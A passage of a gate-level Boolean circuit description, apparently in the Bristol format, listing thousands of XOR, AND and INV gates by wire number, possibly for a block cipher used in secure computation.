12351 12335 12300 XOR +1 1 12300 12297 INV +2 1 12365 12410 12350 AND +2 1 12350 12354 12326 XOR +2 1 12359 12350 12311 XOR +1 1 12326 12304 INV +2 1 12368 12403 12349 AND +2 1 12357 12349 12313 XOR +2 1 12378 12404 12348 AND +2 1 12304 12348 12303 XOR +2 1 12303 12342 12299 XOR +2 1 12366 12409 12347 AND +2 1 12347 12299 12302 XOR +2 1 12363 12411 12346 AND +2 1 12346 12347 12341 XOR +2 1 12352 12341 12322 XOR +2 1 12353 12322 12323 XOR +2 1 12361 12323 12328 XOR +2 1 12362 12328 12333 XOR +2 1 12327 12333 36763 XOR +2 1 12313 12341 12309 XOR +2 1 12342 12309 12312 XOR +2 1 12311 12312 12415 XOR +2 1 12304 12309 12308 XOR +2 1 12307 12308 12414 XOR +2 1 12333 12306 12413 XOR +2 1 12322 12299 12298 XOR +2 1 12297 12298 36761 XOR +2 1 12360 12328 12296 XOR +2 1 12295 12296 36762 XOR +2 1 12323 12294 36766 XOR +2 1 12367 12408 12345 AND +2 1 12356 12345 12305 XOR +1 1 12305 12301 INV +2 1 12301 12302 12412 XOR +1 1 12415 36759 INV +1 1 12414 36760 INV +1 1 12413 36765 INV +1 1 12412 36764 INV +2 1 36764 1178 1050 XOR +2 1 36760 1182 1054 XOR +2 1 36790 1152 1024 XOR +2 1 36759 1183 1055 XOR +2 1 36763 1179 1051 XOR +2 1 36762 1180 1052 XOR +2 1 36766 1176 1048 XOR +2 1 36761 1181 1053 XOR +2 1 1210 1050 1082 XOR +2 1 1242 1082 1114 XOR +2 1 1274 1114 1146 XOR +2 1 1211 1051 1083 XOR +2 1 1215 1055 1087 XOR +2 1 1212 1052 1084 XOR +2 1 1244 1084 1116 XOR +2 1 1276 1116 1148 XOR +2 1 36785 1157 1586 XOR +1 1 1586 1029 INV +2 1 1189 1586 1590 XOR +1 1 1590 1061 INV +2 1 1221 1590 1594 XOR +1 1 1594 1093 INV +2 1 1253 1594 1598 XOR +1 1 1598 1125 INV +2 1 36765 1177 1049 XOR +2 1 1209 1049 1081 XOR +2 1 1241 1081 1113 XOR +2 1 1273 1113 1145 XOR +2 1 1184 1024 1056 XOR +2 1 1208 1048 1080 XOR +2 1 1213 1053 1085 XOR +2 1 1214 1054 1086 XOR +2 1 1246 1086 1118 XOR +2 1 1278 1118 1150 XOR +2 1 1245 1085 1117 XOR +2 1 1277 1117 1149 XOR +2 1 1216 1056 1088 XOR +2 1 1248 1088 1120 XOR +2 1 1247 1087 1119 XOR +2 1 1279 1119 1151 XOR +2 1 1240 1080 1112 XOR +2 1 1272 1112 1144 XOR +2 1 1243 1083 1115 XOR +2 1 1275 1115 1147 XOR +2 1 32025 32026 32727 XOR +2 1 32727 32000 34848 XOR +1 1 34848 5240 INV +2 1 34861 5240 5050 XOR +2 1 34852 5240 5241 XOR +2 1 34848 34853 4979 XOR +2 1 4979 5025 5074 XOR +2 1 5074 5073 34778 XOR +2 1 4973 4979 34786 XOR +2 1 34786 387 33506 XOR +2 1 34778 395 33498 XOR +2 1 32022 32727 32002 XOR +2 1 32018 32002 31968 XOR +1 1 31968 31965 INV +2 1 31965 31966 34846 XOR +2 1 34846 34851 5005 XOR +2 1 5005 34859 5072 XOR +2 1 5005 5019 5060 XOR +1 1 5060 5062 INV +2 1 32023 32002 31962 XOR +2 1 31991 31962 34850 XOR +2 1 34850 34862 5033 XOR +2 1 5033 34846 5278 XOR +2 1 5278 5277 4957 XOR +2 1 5033 34853 5047 XOR +2 1 5048 5047 34762 XOR +2 1 34762 411 33482 XOR +2 1 4957 5025 34761 XOR +2 1 34850 34854 5044 XOR +2 1 5044 34862 5079 XOR +1 1 5044 4948 INV +2 1 4948 34856 5061 XOR +2 1 5062 5061 34769 XOR +2 1 34769 404 33489 XOR +2 1 34761 412 33481 XOR +2 1 4948 34847 5242 XOR +2 1 5242 5241 4972 XOR +2 1 4972 5028 34770 XOR +2 1 34770 403 33490 XOR +2 1 32303 32304 32729 XOR +2 1 32300 32729 32280 XOR +2 1 32296 32280 32246 XOR +1 1 32246 32243 INV +2 1 32243 32244 34832 XOR +2 1 34827 34832 4985 XOR +1 1 4985 5210 INV +2 1 5210 34842 5212 XOR +2 1 5210 5003 5201 XOR +2 1 32301 32280 32240 XOR +2 1 32269 32240 34837 XOR +2 1 34830 34837 5040 XOR +2 1 34837 34841 5036 XOR +1 1 34832 5257 INV +2 1 34838 5257 5258 XOR +1 1 5036 5256 INV +2 1 5256 34844 5255 XOR +2 1 5256 34843 5259 XOR +2 1 5259 5258 4965 XOR +2 1 4965 4992 34745 XOR +2 1 34745 428 33465 XOR +2 1 5255 5254 4966 XOR +2 1 32729 32278 34834 XOR +2 1 34829 34834 5000 XOR +2 1 4966 5000 34746 XOR +2 1 34746 427 33466 XOR +1 1 5000 5229 INV +2 1 5229 5003 5231 XOR +2 1 34834 34828 5262 XOR +2 1 5263 5262 4963 XOR +2 1 4963 5012 34730 XOR +2 1 34730 443 33450 XOR +2 1 34840 34834 5213 XOR +1 1 3554 32732 INV +2 1 34822 32732 5178 XOR +1 1 3555 32733 INV +2 1 5042 32733 5164 XOR +2 1 32733 4668 5155 XOR +2 1 5156 5155 34712 XOR +2 1 34712 461 33432 XOR +2 1 33432 33434 22153 XOR +2 1 33433 33432 22034 XOR +1 1 3556 32734 INV +1 1 3692 32735 INV +2 1 32735 4250 5187 XOR +1 1 3694 32736 INV +2 1 32736 4807 5117 XOR +2 1 5118 5117 34688 XOR +2 1 34688 485 33408 XOR +2 1 5135 32736 5106 XOR +1 1 3695 32737 INV +2 1 5039 32737 5247 XOR +1 1 3553 32738 INV +1 1 3831 32739 INV +2 1 32739 34797 4986 XOR +2 1 4986 32735 5110 XOR +2 1 4986 4987 5122 XOR +2 1 5110 5109 34683 XOR +2 1 34683 490 33403 XOR +1 1 3832 32740 INV +2 1 32740 34798 4988 XOR +2 1 4988 5039 5097 XOR +2 1 4988 3693 5112 XOR +2 1 34793 5097 34677 XOR +2 1 34677 496 33397 XOR +2 1 33394 33397 25638 XOR +1 1 3833 32741 INV +2 1 32741 32736 4976 XOR +2 1 4976 4999 5123 XOR +2 1 34805 5123 34664 XOR +2 1 32741 5243 5064 XOR +2 1 34664 509 33384 XOR +2 1 33384 33386 22431 XOR +2 1 33385 33384 22312 XOR +1 1 3834 32742 INV +2 1 32742 32737 4975 XOR +2 1 4975 5038 5224 XOR +2 1 4975 5037 5098 XOR +2 1 4807 32742 5250 XOR +1 1 3971 32743 INV +2 1 32743 34853 5075 XOR +1 1 3972 32744 INV +2 1 34849 32744 4980 XOR +2 1 4980 5045 5069 XOR +2 1 34850 5069 34773 XOR +2 1 34773 400 33493 XOR +2 1 33490 33493 5427 XOR +1 1 3973 32745 INV +1 1 3974 32746 INV +1 1 4110 32747 INV +1 1 4111 32748 INV +2 1 34813 32748 5151 XOR +1 1 4112 32749 INV +2 1 32749 34814 5002 XOR +2 1 34815 32749 5127 XOR +2 1 5002 5011 5142 XOR +2 1 5146 32749 5139 XOR +2 1 34810 5142 34704 XOR +2 1 34704 469 33424 XOR +2 1 33424 33426 18539 XOR +2 1 33425 33424 18420 XOR +1 1 4113 32750 INV +2 1 4668 32750 5287 XOR +1 1 4390 32751 INV +2 1 5036 32751 5261 XOR +2 1 5181 32751 5183 XOR +1 1 4391 32752 INV +2 1 5267 32752 5269 XOR +1 1 4251 32753 INV +2 1 5134 32753 5065 XOR +2 1 5065 5064 34672 XOR +2 1 34672 501 33392 XOR +2 1 5103 32753 5099 XOR +2 1 32753 34800 4997 XOR +2 1 4996 4997 5102 XOR +2 1 34794 5102 34680 XOR +2 1 34680 493 33400 XOR +2 1 4975 4997 5107 XOR +2 1 5107 5106 5108 XOR +1 1 5108 34663 INV +2 1 34663 510 33383 XOR +2 1 33400 33402 22292 XOR +2 1 33401 33400 22173 XOR +2 1 33383 33385 22335 XOR +2 1 33384 22335 22337 XOR +2 1 33383 33384 22352 XOR +2 1 33392 33394 25640 XOR +2 1 33393 33392 25520 XOR +2 1 33397 33392 25637 XOR +1 1 4252 32754 INV +2 1 4949 32754 5251 XOR +2 1 32754 5098 34678 XOR +2 1 34678 495 33398 XOR +2 1 5251 5250 4968 XOR +2 1 4968 4976 34671 XOR +2 1 34671 502 33391 XOR +2 1 33391 33393 25543 XOR +2 1 33392 25543 25545 XOR +2 1 25543 25638 25630 XOR +2 1 33391 33392 25560 XOR +2 1 25638 25560 25634 XOR +2 1 33397 33391 25639 XOR +2 1 25630 25634 25623 AND +1 1 4529 32755 INV +2 1 32755 34831 4978 XOR +2 1 4978 4993 5199 XOR +2 1 5257 32755 5182 XOR +2 1 5183 5182 34728 XOR +2 1 34728 445 33448 XOR +2 1 33448 33450 15342 XOR +2 1 33449 33448 15223 XOR +2 1 34827 5199 34736 XOR +2 1 34736 437 33456 XOR +1 1 4530 32756 INV +2 1 32359 32756 5268 XOR +2 1 5269 5268 4961 XOR +1 1 4388 32757 INV +1 1 4389 32758 INV +2 1 5043 32758 5194 XOR +1 1 4667 32759 INV +2 1 32759 32732 5024 XOR +2 1 5042 32759 5152 XOR +2 1 5152 5151 34709 XOR +2 1 34709 464 33429 XOR +2 1 33426 33429 18537 XOR +2 1 33429 33424 18536 XOR +2 1 5024 5041 5162 XOR +2 1 34826 5162 34717 XOR +2 1 34717 456 33437 XOR +2 1 33434 33437 22151 XOR +2 1 33437 33432 22150 XOR +1 1 4669 32760 INV +2 1 32750 32760 5001 XOR +2 1 32734 32760 5275 XOR +2 1 5001 5034 5153 XOR +2 1 5001 5042 5163 XOR +2 1 32734 5163 34718 XOR +2 1 34718 455 33438 XOR +1 1 4527 32761 INV +2 1 32761 34835 5007 XOR +2 1 5007 32757 5214 XOR +2 1 5007 5012 5232 XOR +2 1 5214 5213 34747 XOR +2 1 34747 426 33467 XOR +2 1 32358 32761 5190 XOR +1 1 4528 32762 INV +2 1 32762 34836 5014 XOR +2 1 5014 32758 5215 XOR +1 1 5215 5217 INV +2 1 5014 5043 5206 XOR +2 1 34830 5206 34741 XOR +2 1 34741 432 33461 XOR +2 1 33461 33456 18397 XOR +2 1 34837 32762 5193 XOR +2 1 5194 5193 34733 XOR +2 1 34733 440 33453 XOR +2 1 33450 33453 15340 XOR +2 1 33453 33448 15339 XOR +1 1 4805 32763 INV +2 1 32763 32735 4991 XOR +2 1 32763 5122 34691 XOR +2 1 34691 482 33411 XOR +2 1 4988 4991 5124 XOR +2 1 4983 4991 5095 XOR +2 1 32739 5095 34675 XOR +2 1 34675 498 33395 XOR +2 1 32763 4249 5111 XOR +2 1 5112 5111 34684 XOR +2 1 34684 489 33404 XOR +2 1 33402 33404 22199 XOR +2 1 33398 33404 22203 XOR +2 1 33403 22203 22288 XOR +2 1 22199 33403 22158 XOR +2 1 33398 22158 22287 XOR +2 1 22287 33398 22273 AND +2 1 4991 34792 5169 XOR +1 1 5169 5171 INV +2 1 5171 5170 34667 XOR +2 1 34667 506 33387 XOR +2 1 33387 22337 22415 XOR +2 1 33395 25545 25624 XOR +2 1 33395 33397 25544 XOR +2 1 25544 25640 25625 XOR +2 1 25639 25624 25620 AND +2 1 25620 25544 25548 XOR +2 1 25640 25625 25616 AND +1 1 4806 32764 INV +2 1 32764 4250 5113 XOR +2 1 5114 5113 34685 XOR +2 1 34685 488 33405 XOR +2 1 32764 5124 34692 XOR +2 1 34692 481 33412 XOR +2 1 32764 34808 4994 XOR +2 1 4994 5038 5125 XOR +2 1 34804 5125 34693 XOR +2 1 4986 4994 5096 XOR +2 1 32740 5096 34676 XOR +2 1 34676 497 33396 XOR +2 1 34693 480 33413 XOR +2 1 33411 33413 20946 XOR +2 1 33413 33408 21038 XOR +2 1 33403 33405 22197 XOR +2 1 22197 22292 22277 XOR +2 1 33402 33405 22290 XOR +2 1 22197 22203 22285 XOR +2 1 22199 22197 22159 XOR +2 1 33405 33400 22289 XOR +2 1 22292 22277 22268 AND +2 1 4994 32739 5188 XOR +2 1 5188 5187 5189 XOR +1 1 5189 34668 INV +2 1 34668 505 33388 XOR +2 1 33388 22337 22418 XOR +2 1 33386 33388 22338 XOR +2 1 22338 33387 22297 XOR +2 1 33396 25545 25627 XOR +2 1 33394 33396 25546 XOR +2 1 25623 25546 25549 XOR +2 1 25546 25544 25506 XOR +2 1 25543 25506 25628 XOR +2 1 25546 33395 25505 XOR +2 1 25638 25627 25617 AND +2 1 25617 25545 25547 XOR +2 1 25549 25547 25553 XOR +2 1 33397 25553 25558 XOR +2 1 25616 25617 25519 XOR +2 1 25519 25520 25566 XOR +2 1 25566 25548 25565 XOR +2 1 25637 25628 25615 AND +1 1 4808 32765 INV +2 1 32741 32765 5246 XOR +2 1 5247 5246 4970 XOR +2 1 4970 4997 34687 XOR +2 1 34687 486 33407 XOR +2 1 33407 33408 20962 XOR +2 1 33413 33407 21040 XOR +2 1 32754 32765 4998 XOR +2 1 4998 5031 5046 XOR +2 1 32737 5046 34662 XOR +2 1 34662 511 33382 XOR +2 1 4998 5039 5115 XOR +2 1 32742 5115 34686 XOR +2 1 4976 4998 5100 XOR +2 1 5100 5099 5101 XOR +1 1 5101 34679 INV +2 1 34679 494 33399 XOR +2 1 33399 33401 22196 XOR +2 1 33400 22196 22198 XOR +2 1 33404 22198 22279 XOR +2 1 33403 22198 22276 XOR +2 1 22203 22198 22278 XOR +2 1 33399 22288 22284 XOR +2 1 22196 22290 22282 XOR +2 1 33398 22282 22281 XOR +2 1 33399 33400 22213 XOR +2 1 22213 22285 22283 XOR +2 1 22290 22213 22286 XOR +2 1 22196 22159 22280 XOR +2 1 33405 33399 22291 XOR +2 1 22282 22286 22275 AND +2 1 22275 22199 22202 XOR +2 1 22283 22281 22274 AND +2 1 22268 22274 22220 XOR +2 1 22291 22276 22272 AND +2 1 22272 22197 22201 XOR +2 1 22288 22284 22271 AND +2 1 22285 22278 22270 AND +2 1 22290 22279 22269 AND +2 1 22269 22198 22200 XOR +2 1 22202 22200 22206 XOR +2 1 33405 22206 22211 XOR +2 1 22220 22211 22266 XOR +2 1 22268 22269 22172 XOR +2 1 22172 22173 22219 XOR +2 1 22219 22201 22218 XOR +2 1 22271 22218 22265 XOR +2 1 22289 22280 22267 AND +2 1 22267 22270 22221 XOR +2 1 22267 22273 22225 XOR +2 1 22225 22197 22212 XOR +2 1 22220 22212 22263 XOR +2 1 22268 22221 22215 XOR +2 1 22201 22221 22175 XOR +2 1 22175 22200 22264 XOR +2 1 22206 22225 22174 XOR +2 1 33403 22174 22217 XOR +2 1 22271 22215 22171 XOR +2 1 33399 22171 22258 XOR +2 1 22266 22265 22262 AND +2 1 22262 22217 22257 XOR +2 1 22262 22264 22261 XOR +2 1 22263 22261 22260 AND +2 1 22260 22217 22259 XOR +2 1 22260 22272 22166 XOR +2 1 22166 22202 22162 XOR +2 1 33405 22162 22165 XOR +2 1 22260 22211 22163 XOR +2 1 33403 22162 22161 XOR +2 1 22257 22258 22256 AND +2 1 22256 22264 22255 XOR +2 1 22262 22256 22254 XOR +2 1 22256 22215 22170 XOR +2 1 22256 22273 22169 XOR +2 1 22169 22270 22164 XOR +2 1 22164 22165 22247 XOR +2 1 22264 22254 22253 AND +2 1 22253 22261 22251 XOR +2 1 22253 22271 22224 XOR +2 1 22224 22218 22245 XOR +2 1 33399 22224 22207 XOR +2 1 22207 22170 22252 XOR +2 1 22259 22251 22250 AND +2 1 22250 22220 22210 XOR +2 1 22210 22212 22249 XOR +2 1 22250 22274 22168 XOR +2 1 22207 22168 22160 XOR +2 1 22197 22160 22167 XOR +2 1 22164 22167 22248 XOR +2 1 22210 22163 22246 XOR +2 1 22160 22161 22244 XOR +2 1 22245 22282 22243 AND +2 1 22252 22281 22242 AND +2 1 22255 33398 22241 AND +2 1 22241 22243 22223 XOR +2 1 22246 22276 22240 AND +2 1 22249 22288 22239 AND +2 1 22259 22278 22238 AND +2 1 22238 22239 22177 XOR +2 1 22247 22279 22237 AND +2 1 22244 22277 22236 AND +2 1 22236 22239 22192 XOR +1 1 22192 22189 INV +2 1 22236 22237 22188 XOR +2 1 22248 22280 22235 AND +2 1 22245 22286 22234 AND +2 1 22252 22283 22233 AND +2 1 22255 22287 22232 AND +2 1 22246 22291 22231 AND +2 1 22231 22235 22208 XOR +2 1 22240 22231 22193 XOR +1 1 22208 22186 INV +2 1 22249 22284 22230 AND +2 1 22238 22230 22195 XOR +2 1 22259 22285 22229 AND +2 1 22186 22229 22185 XOR +2 1 22185 22223 22181 XOR +2 1 22247 22290 22228 AND +2 1 22228 22181 22184 XOR +2 1 22244 22292 22227 AND +2 1 22227 22228 22222 XOR +2 1 22233 22222 22204 XOR +2 1 22234 22204 22205 XOR +2 1 22242 22205 22209 XOR +2 1 22243 22209 22214 XOR +2 1 22195 22222 22191 XOR +2 1 22223 22191 22194 XOR +2 1 22193 22194 22296 XOR +2 1 22186 22191 22190 XOR +2 1 22189 22190 22295 XOR +2 1 22214 22188 22294 XOR +2 1 22204 22181 22180 XOR +2 1 22241 22209 22178 XOR +2 1 22177 22178 35021 XOR +2 1 22248 22289 22226 AND +2 1 22237 22226 22187 XOR +1 1 22187 22183 INV +2 1 22183 22184 22293 XOR +2 1 33382 33388 22342 XOR +2 1 22342 22337 22417 XOR +2 1 33387 22342 22427 XOR +2 1 33383 22427 22423 XOR +2 1 33382 22297 22426 XOR +2 1 22426 33382 22412 AND +2 1 22427 22423 22410 AND +2 1 34686 487 33406 XOR +2 1 33406 33412 20952 XOR +2 1 20946 20952 21034 XOR +2 1 20962 21034 21032 XOR +2 1 33411 20952 21037 XOR +2 1 33407 21037 21033 XOR +2 1 21037 21033 21020 AND +2 1 32765 5224 34670 XOR +2 1 34670 503 33390 XOR +2 1 33390 25630 25629 XOR +2 1 33390 33396 25550 XOR +2 1 25550 25545 25626 XOR +2 1 25544 25550 25633 XOR +2 1 25560 25633 25631 XOR +2 1 33395 25550 25636 XOR +2 1 33391 25636 25632 XOR +2 1 33390 25505 25635 XOR +2 1 25631 25629 25622 AND +2 1 25616 25622 25567 XOR +2 1 25567 25558 25614 XOR +2 1 25635 33390 25621 AND +2 1 25615 25621 25572 XOR +2 1 25572 25544 25559 XOR +2 1 25567 25559 25611 XOR +2 1 25553 25572 25521 XOR +2 1 33395 25521 25564 XOR +2 1 25636 25632 25619 AND +2 1 25619 25565 25613 XOR +2 1 25633 25626 25618 AND +2 1 25615 25618 25568 XOR +2 1 25616 25568 25562 XOR +2 1 25548 25568 25522 XOR +2 1 25522 25547 25612 XOR +2 1 25619 25562 25518 XOR +2 1 33391 25518 25606 XOR +2 1 25614 25613 25610 AND +2 1 25610 25564 25605 XOR +2 1 25610 25612 25609 XOR +2 1 25611 25609 25608 AND +2 1 25608 25564 25607 XOR +2 1 25608 25620 25513 XOR +2 1 25513 25549 25509 XOR +2 1 33397 25509 25512 XOR +2 1 25608 25558 25510 XOR +2 1 33395 25509 25508 XOR +2 1 25605 25606 25604 AND +2 1 25604 25612 25603 XOR +2 1 25610 25604 25602 XOR +2 1 25604 25562 25517 XOR +2 1 25604 25621 25516 XOR +2 1 25516 25618 25511 XOR +2 1 25511 25512 25595 XOR +2 1 25612 25602 25601 AND +2 1 25601 25609 25599 XOR +2 1 25601 25619 25571 XOR +2 1 25571 25565 25593 XOR +2 1 33391 25571 25554 XOR +2 1 25554 25517 25600 XOR +2 1 25607 25599 25598 AND +2 1 25598 25567 25557 XOR +2 1 25557 25559 25597 XOR +2 1 25598 25622 25515 XOR +2 1 25554 25515 25507 XOR +2 1 25544 25507 25514 XOR +2 1 25511 25514 25596 XOR +2 1 25557 25510 25594 XOR +2 1 25507 25508 25592 XOR +2 1 25593 25630 25591 AND +2 1 25600 25629 25590 AND +2 1 25603 33390 25589 AND +2 1 25589 25591 25570 XOR +2 1 25594 25624 25588 AND +2 1 25597 25636 25587 AND +2 1 25587 25588 25573 XOR +2 1 25607 25626 25586 AND +2 1 25586 25587 25524 XOR +2 1 25595 25627 25585 AND +2 1 25592 25625 25584 AND +2 1 25584 25573 25563 XOR +2 1 25584 25587 25539 XOR +1 1 25539 25536 INV +2 1 25584 25585 25535 XOR +2 1 25585 25563 25523 XOR +2 1 25596 25628 25583 AND +2 1 25593 25634 25582 AND +2 1 25600 25631 25581 AND +2 1 25603 25635 25580 AND +2 1 25580 25563 25529 XOR +1 1 25529 25526 INV +2 1 25594 25639 25579 AND +2 1 25579 25583 25555 XOR +2 1 25588 25579 25540 XOR +1 1 25555 25533 INV +2 1 25597 25632 25578 AND +2 1 25586 25578 25542 XOR +2 1 25607 25633 25577 AND +2 1 25533 25577 25532 XOR +2 1 25532 25570 25528 XOR +2 1 25595 25638 25576 AND +2 1 25576 25528 25531 XOR +2 1 25592 25640 25575 AND +2 1 25575 25576 25569 XOR +2 1 25581 25569 25551 XOR +2 1 25582 25551 25552 XOR +2 1 25590 25552 25556 XOR +2 1 25591 25556 25561 XOR +2 1 25573 25561 35035 XOR +2 1 25542 25569 25538 XOR +2 1 25570 25538 25541 XOR +2 1 25540 25541 25644 XOR +2 1 25533 25538 25537 XOR +2 1 25536 25537 25643 XOR +2 1 25561 25535 25642 XOR +2 1 25551 25528 25527 XOR +2 1 25526 25527 35033 XOR +1 1 35033 5611 INV +2 1 25589 25556 25525 XOR +2 1 25524 25525 35034 XOR +1 1 35034 5604 INV +2 1 25552 25523 35038 XOR +2 1 25596 25637 25574 AND +2 1 25585 25574 25534 XOR +1 1 25534 25530 INV +2 1 25530 25531 25641 XOR +1 1 25643 35032 INV +1 1 25642 35037 INV +1 1 25641 35036 INV +2 1 22239 22240 32713 XOR +2 1 32713 22214 35022 XOR +1 1 35022 5695 INV +2 1 22236 32713 22216 XOR +2 1 22232 22216 22182 XOR +1 1 22182 22179 INV +2 1 22179 22180 35020 XOR +2 1 22237 22216 22176 XOR +2 1 22205 22176 35023 XOR +1 1 4666 32766 INV +2 1 32747 32766 5017 XOR +2 1 32759 32766 5160 XOR +2 1 5017 5021 5176 XOR +2 1 32766 34812 5129 XOR +2 1 32738 5176 34723 XOR +2 1 34723 450 33443 XOR +1 1 4944 32767 INV +2 1 4980 32767 5090 XOR +1 1 4945 32768 INV +1 1 4946 32769 INV +2 1 32769 34851 5236 XOR +2 1 5030 32769 5294 XOR +1 1 4947 32770 INV +2 1 32770 32745 5279 XOR +1 1 15485 32909 INV +2 1 32909 32746 5293 XOR +2 1 5294 5293 4950 XOR +2 1 32909 32770 4995 XOR +2 1 4995 5033 5235 XOR +2 1 32746 5235 34758 XOR +2 1 4995 5044 5055 XOR +2 1 34758 415 33478 XOR +1 1 15624 32913 INV +2 1 32913 32752 4981 XOR +2 1 4981 5040 5195 XOR +2 1 4978 4981 5221 XOR +1 1 5221 5223 INV +2 1 4981 5035 5180 XOR +2 1 32756 5195 34734 XOR +2 1 34734 439 33454 XOR +1 1 15482 32914 INV +2 1 32743 32914 5020 XOR +1 1 5020 5049 INV +2 1 5049 32767 5051 XOR +2 1 5020 5028 5088 XOR +2 1 5051 5050 34763 XOR +2 1 34763 410 33483 XOR +2 1 4980 5020 5077 XOR +2 1 32768 5077 34780 XOR +2 1 34780 393 33500 XOR +2 1 33498 33500 5475 XOR +1 1 15483 32915 INV +2 1 32915 32914 5089 XOR +2 1 5090 5089 34788 XOR +2 1 34788 385 33508 XOR +2 1 32915 32744 5078 XOR +2 1 5079 5078 34781 XOR +2 1 34781 392 33501 XOR +2 1 33498 33501 5567 XOR +2 1 32915 32768 5022 XOR +2 1 5022 32743 5067 XOR +2 1 5022 5044 5091 XOR +2 1 34858 5091 34789 XOR +2 1 34789 384 33509 XOR +2 1 33506 33508 23450 XOR +2 1 33506 33509 23541 XOR +1 1 15484 32916 INV +2 1 32916 32769 5015 XOR +2 1 32916 32745 5071 XOR +2 1 5072 5071 34776 XOR +2 1 34776 397 33496 XOR +2 1 5005 5015 5084 XOR +2 1 34855 5084 34784 XOR +2 1 34784 389 33504 XOR +2 1 33496 33498 5569 XOR +2 1 33497 33496 5449 XOR +2 1 33501 33496 5566 XOR +2 1 33504 33506 23543 XOR +2 1 33509 33504 23540 XOR +1 1 15621 32918 INV +2 1 32918 32357 5216 XOR +2 1 5217 5216 34748 XOR +2 1 32918 5232 34755 XOR +2 1 34748 425 33468 XOR +2 1 32918 32757 5018 XOR +2 1 33466 33468 20253 XOR +2 1 20253 33467 20212 XOR +2 1 5014 5018 5233 XOR +2 1 34755 418 33475 XOR +2 1 5000 5018 5204 XOR +2 1 5018 34844 5184 XOR +2 1 32761 5204 34739 XOR +2 1 34739 434 33459 XOR +2 1 33459 33461 18305 XOR +1 1 5184 5186 INV +2 1 5186 5185 34731 XOR +2 1 34731 442 33451 XOR +2 1 33451 33453 15247 XOR +2 1 15247 15342 15327 XOR +2 1 15342 15327 15318 AND +1 1 15622 32919 INV +2 1 32919 5233 34756 XOR +2 1 34756 417 33476 XOR +2 1 32919 32358 5218 XOR +2 1 32919 32758 5029 XOR +2 1 5007 5029 5205 XOR +2 1 32762 5205 34740 XOR +2 1 34740 433 33460 XOR +2 1 33454 33460 18311 XOR +2 1 18305 18311 18393 XOR +2 1 33459 18311 18396 XOR +2 1 5029 32757 5191 XOR +2 1 5191 5190 5192 XOR +1 1 5192 34732 INV +2 1 34732 441 33452 XOR +2 1 33450 33452 15249 XOR +2 1 15249 15247 15209 XOR +2 1 15249 33451 15208 XOR +2 1 5029 5040 5234 XOR +2 1 34841 5234 34757 XOR +2 1 34757 416 33477 XOR +2 1 33475 33477 20807 XOR +1 1 15623 32920 INV +2 1 32920 32359 5211 XOR +2 1 5212 5211 34744 XOR +2 1 32920 32751 4989 XOR +2 1 34744 429 33464 XOR +2 1 4961 4989 34727 XOR +2 1 34727 446 33447 XOR +2 1 33447 33449 15246 XOR +2 1 33448 15246 15248 XOR +2 1 33452 15248 15329 XOR +2 1 33451 15248 15326 XOR +2 1 15246 15340 15332 XOR +2 1 33447 33448 15263 XOR +2 1 15340 15263 15336 XOR +2 1 15246 15209 15330 XOR +2 1 33453 33447 15341 XOR +2 1 15332 15336 15325 AND +2 1 15325 15249 15252 XOR +2 1 15341 15326 15322 AND +2 1 15322 15247 15251 XOR +2 1 15340 15329 15319 AND +2 1 15319 15248 15250 XOR +2 1 15252 15250 15256 XOR +2 1 33453 15256 15261 XOR +2 1 15318 15319 15222 XOR +2 1 15222 15223 15269 XOR +2 1 15269 15251 15268 XOR +2 1 15339 15330 15317 AND +2 1 33464 33466 20346 XOR +2 1 33465 33464 20227 XOR +2 1 4985 4989 5225 XOR +2 1 34838 5225 34752 XOR +2 1 34752 421 33472 XOR +2 1 33477 33472 20899 XOR +1 1 21184 32997 INV +2 1 32734 32997 5004 XOR +2 1 5004 5032 5126 XOR +2 1 32760 5126 34694 XOR +2 1 34694 479 33414 XOR +2 1 5286 32997 5288 XOR +2 1 5288 5287 4953 XOR +2 1 32997 5153 34710 XOR +2 1 34710 463 33430 XOR +2 1 5004 5041 5138 XOR +2 1 32750 5138 34702 XOR +2 1 34702 471 33422 XOR +2 1 5002 5004 5165 XOR +2 1 5165 5164 34719 XOR +2 1 34719 454 33439 XOR +2 1 33439 33441 17470 XOR +1 1 21181 33002 INV +2 1 32738 33002 5026 XOR +2 1 33002 32747 5131 XOR +2 1 5026 34825 5130 XOR +2 1 5130 5129 34699 XOR +2 1 34699 474 33419 XOR +2 1 5017 33002 5157 XOR +1 1 5157 5159 INV +2 1 5159 5158 34715 XOR +2 1 34715 458 33435 XOR +2 1 33435 33437 22058 XOR +2 1 22058 22153 22138 XOR +2 1 22153 22138 22129 AND +2 1 5024 5026 5177 XOR +2 1 32748 5177 34724 XOR +2 1 34724 449 33444 XOR +2 1 33442 33444 17473 XOR +2 1 33438 33444 17477 XOR +2 1 33443 17477 17562 XOR +2 1 33439 17562 17558 XOR +2 1 17473 33443 17432 XOR +2 1 33438 17432 17561 XOR +2 1 17561 33438 17547 AND +2 1 17562 17558 17545 AND +2 1 5013 5026 5149 XOR +2 1 32747 5149 34707 XOR +2 1 34707 466 33427 XOR +2 1 33427 33429 18444 XOR +2 1 18444 18539 18524 XOR +2 1 18539 18524 18515 AND +1 1 21182 33003 INV +2 1 32748 33003 5023 XOR +2 1 5017 5023 5150 XOR +2 1 5023 5042 5133 XOR +2 1 32732 5150 34708 XOR +2 1 34708 465 33428 XOR +2 1 33426 33428 18446 XOR +2 1 33422 33428 18450 XOR +2 1 18444 18450 18532 XOR +2 1 33427 18450 18535 XOR +2 1 18446 18444 18406 XOR +2 1 18446 33427 18405 XOR +2 1 33422 18405 18534 XOR +2 1 18534 33422 18520 AND +2 1 5024 33003 5132 XOR +2 1 5132 5131 34700 XOR +2 1 34700 473 33420 XOR +2 1 33418 33420 20392 XOR +2 1 33414 33420 20396 XOR +2 1 33419 20396 20481 XOR +2 1 20392 33419 20351 XOR +2 1 33414 20351 20480 XOR +2 1 20480 33414 20466 AND +2 1 5041 33003 5179 XOR +2 1 5179 5178 34725 XOR +2 1 34725 448 33445 XOR +2 1 33443 33445 17471 XOR +2 1 33442 33445 17564 XOR +2 1 17471 17477 17559 XOR +2 1 17470 17564 17556 XOR +2 1 33438 17556 17555 XOR +2 1 17473 17471 17433 XOR +2 1 17470 17433 17554 XOR +2 1 33445 33439 17565 XOR +2 1 34818 5133 34701 XOR +2 1 34701 472 33421 XOR +2 1 33419 33421 20390 XOR +2 1 33418 33421 20483 XOR +2 1 20390 20396 20478 XOR +2 1 20392 20390 20352 XOR +2 1 5023 32738 5161 XOR +2 1 5161 5160 34716 XOR +2 1 34716 457 33436 XOR +2 1 33434 33436 22060 XOR +2 1 33430 33436 22064 XOR +2 1 22058 22064 22146 XOR +2 1 33435 22064 22149 XOR +2 1 22060 22058 22020 XOR +2 1 22060 33435 22019 XOR +2 